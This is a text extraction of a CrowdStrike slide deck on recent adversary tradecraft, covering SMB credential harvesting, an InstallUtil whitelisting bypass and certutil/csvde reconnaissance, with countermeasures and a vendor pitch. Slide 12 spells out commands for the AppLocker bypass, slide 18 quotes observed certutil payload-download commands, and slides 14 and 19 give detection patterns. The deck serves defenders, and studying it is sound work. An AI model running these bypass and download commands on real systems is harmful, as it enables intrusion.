AND STOPPING THE NEXT ONE DAN LARSON VP OF PRODUCT, CROWDSTRIKE - - PowerPoint PPT Presentation

and stopping the next one
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AND STOPPING THE NEXT ONE DAN LARSON VP OF PRODUCT, CROWDSTRIKE - - PowerPoint PPT Presentation

LEARNING FROM HIGH-PROFILE BREACHES AND STOPPING THE NEXT ONE DAN LARSON VP OF PRODUCT, CROWDSTRIKE CROWD-SOURCED CLOUD-BASED 150B CAPTURE INDICATORS OF Events/ day COMPROMISE 109 ENRICH Adversaries tracked 25,000 HUNT INDICATORS


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SLIDE 1

LEARNING FROM HIGH-PROFILE BREACHES

AND STOPPING THE NEXT ONE

DAN LARSON –VP OF PRODUCT, CROWDSTRIKE

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SLIDE 2

CROWD-SOURCED CLOUD-BASED

INDICATORS OF COMPROMISE INDICATORS OF ATTACK ARTIFICIAL INTELLIGENCE & MACHINE LEARNING

CAPTURE

150B

Events/ day

ENRICH

109

Adversaries tracked

HUNT

25,000

Breaches prevented/ year

PROTECT

3.5 million

IOA decisions/sec

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SLIDE 3

LAT E S T AD V E R S AR Y T R AD E C R AF T

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SLIDE 4

C A T E G O R Y :

CREDENTIAL THEFT

D E L I V E R Y :

STRATEGIC WEB COMPROMISE USING SMB

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SLIDE 5

VARIATIONS OF REMOTE SOURCE

Javascript + Dean Edwards Packer obfuscation Tiny image Hidden in JQuery related Javascript files

TECHNICAL BREAKDOWN

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SLIDE 6

REAL WORLD EXAMPLES

TARGETED NUMEROUS SECTORS Chemical – Sept 201

7

Financial – Sept 201

7

Hospitality – Sept 201

7

Oil & Gas – April 201

7

Technology – April 201

7

Engineering – April 201

7

Education – April 201

7

MASSIVE BERSERK BEAR CREDENTIAL HARVESTING CAMPAIGN

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SLIDE 7

Another variation used spear-phishing emails. Word Docs contain code that attempts to retrieve doc template from remote source over WebDAV

REAL WORLD EXAMPLES

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SLIDE 8

REAL WORLD EXAMPLES

  • Offline hash cracking
  • Pass the hash tools
  • Public facing services most vulnerable

Webmail VPN Remote conferencing software POST HARVESTING ACTIVITY

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SLIDE 9

COUNTERMEASURES

  • Implement Two-Factor

Authentication (2FA)

  • Restrict or monitor SMB

connectivity to remote servers

  • Robust password policies

(length/ duration/ reuse)

  • Restrict or monitor remote user

authentication

  • Leverage threat intel to track

known SMB C2s

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SLIDE 10

C A T E G O R Y :

WHITELISTING BYPASS

D E L I V E R Y :

INSTALLUTIL

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SLIDE 11

TECHNICAL BREAKDOWN

InstallUtil

  • CLI tool for install/uninstall of apps
  • Part of .NET framework
  • MS signed binary inside the Windows

directory – handy for bypassing whitelists

  • Discovered by @subTee, who also

created C# code that can be used in combination to bypass Applocker restriction of PowerShell

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SLIDE 12

TECHNICAL BREAKDOWN

1 . Use InstallUtil-PowerShell.cs and System.Management.Automation.dll to compile a special PowerShell executable / w csc.exe

csc.exe / reference: System.Management.Automation.dll / out:powershell.exe InstallUtil-PowerShell.cs

2. Execute PowerShell binary with InstallUtil

InstallUtil.exe / logfile= / LogToConsole=false / U powershell.exe

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SLIDE 13

REAL WORLD EXAMPLES

  • Seen in Oct 201

7, January 201 8

  • InstallUtil.exe" / run= / logfile=

/ LogToConsole=false / u "C:\ Windows\ Microsoft.NET\ Framework\ v4.0. 3031 9\ WPF\ wpf-etw.dat

  • Consistent with QuasarRATpublic

reporting https:/ / www.pwc.co.uk/ cyber- security/ pdf/ cloud-hopper-annex-b- final.pdf

  • InstallUtil.exe" / LogFile= / LogToConsole=false

/ u C:\ Windows\ System32\ CatRoot\ {1 27D0A1 D- 4EF2-1 1 D1

  • 8608-00C04FC295EE}\ HECI.cat -

inputFormat xml -outputFormat text

  • Chinese Adversary
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SLIDE 14

COUNTERMEASURES

In many environments InstallUtil is rarely used

  • Consider blocking its execution
  • If needed, try to monitor its usage instead

and compare arguments against historical usage Weak hunting indicator: FileName=installutil.exe AND CommandLine=*LogToConsole= false / u*

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SLIDE 15

C A T E G O R Y :

DEPLOYMENT OF RECON TOOLS

D E L I V E R Y :

CERTUTIL + EXPAND + CSVDE

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SLIDE 16

TECHNICAL BREAKDOWN

CERTUTIL

  • A built-in Windows command-line

program that is installed as part of Certificate Services

  • Also has the ability to download

remote file (-urlcache flag) and decode base64 files (-decode flag)

  • Great for downloading malware!

EXPAND

  • A built-in Windows command-line

program to decompress CAB files

CSVDE

  • Windows Server command-line

program that is installed as part of AD DS and AD LDS Tools feature

  • NOT included with Client OS
  • Can be used to enumerate AD

environment

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SLIDE 17

TECHNICAL BREAKDOWN

Using CSVDE to enumerate Active Directory to disk csvde.exe –f out.csv Here is a subset of the data returned. I couldn’t fit it all, over 370 fields!

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SLIDE 18

REAL WORLD EXAMPLES

Seen in Aug and Nov 201 7

certutil.exe -decode KB[REDACTED].log KB[REDACTED].log expand KB[REDACTED].log csvde.exe

Chinese Adversary

Seen in Feb 201 8

certutil.exe -urlcache -split -f http:/ / xx.xx.xx.xx/ news/ n4.jpg C:\ Users\ [REDACTED]\ AppData\ Local\ Temp\ 8\ index.zip

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SLIDE 19

COUNTERMEASURES

Certutil is rarely used with the aforementioned command line args

  • Consider blocking its execution
  • If needed, try to monitor its usage instead and

compare arguments against historical usage

  • Weak hunting indicator: FileName=certutil.exe AND

CommandLine=*-urlcache –split –f*

  • Weak hunting indicator: FileName=certutil.exe AND

CommandLine=*-decode*

CSVDE is not found on client version of Windows, can be blocked or monitored for hunting indicator on non Server systems

  • Weak hunting indicator: FileName=csvde.exe AND

Type!=Server

d

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SLIDE 20

SPEED IS EVERYTHING:

THE 1-10-60 RULE

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SLIDE 21

BREAKOUT TIME

1 HOUR 58 MINUTES

  • Avg. time for an intruder to

begin moving laterally to other systems in the network

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SLIDE 22
  • SURVIVAL OF THE FASTEST:

THE 1-10-60 RULE

TIME TO DETECT

1MIN

TIME TO INVESTIGATE

1 0 MIN

TIME TO REMEDIATE & CONTAIN

60 MIN

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SLIDE 23
  • SURVIVAL OF THE FASTEST:

THE 1-10-60 RULE

TIME TO DETECT

1MIN KEYS TO SUCCESS:

  • ARTIFICIAL INTELLIGENCE &

MACHINE LEARNING

  • INDICATORS OF ATTACK
  • CLOUD-NATIVE ARCHITECTURE
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SLIDE 24
  • SURVIVAL OF THE FASTEST:

THE 1-10-60 RULE

TIME TO INVESTIGATE

1 0 MIN KEYS TO SUCCESS :

  • ENDPOINT DETECTION & RESPONSE
  • THREAT INTELLIGENCE
  • HUNTING TEAM
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SLIDE 25
  • SURVIVAL OF THE FASTEST:

THE 1-10-60 RULE

TIME TO REMEDIATE & CONTAIN

60 MIN KEYS TO SUCCESS :

  • CLOUD-BASED REMOTE DEVICE

MANAGEMENT

  • PROACTIVE PLANNING & PREP
  • GOOD BUSINESS PROCESSES &

COMMUNICATION

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SLIDE 26
  • THE POWER OF ONE
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SLIDE 27

TRY IT FOR YOURSELF:

crowdstrike.com/freetrial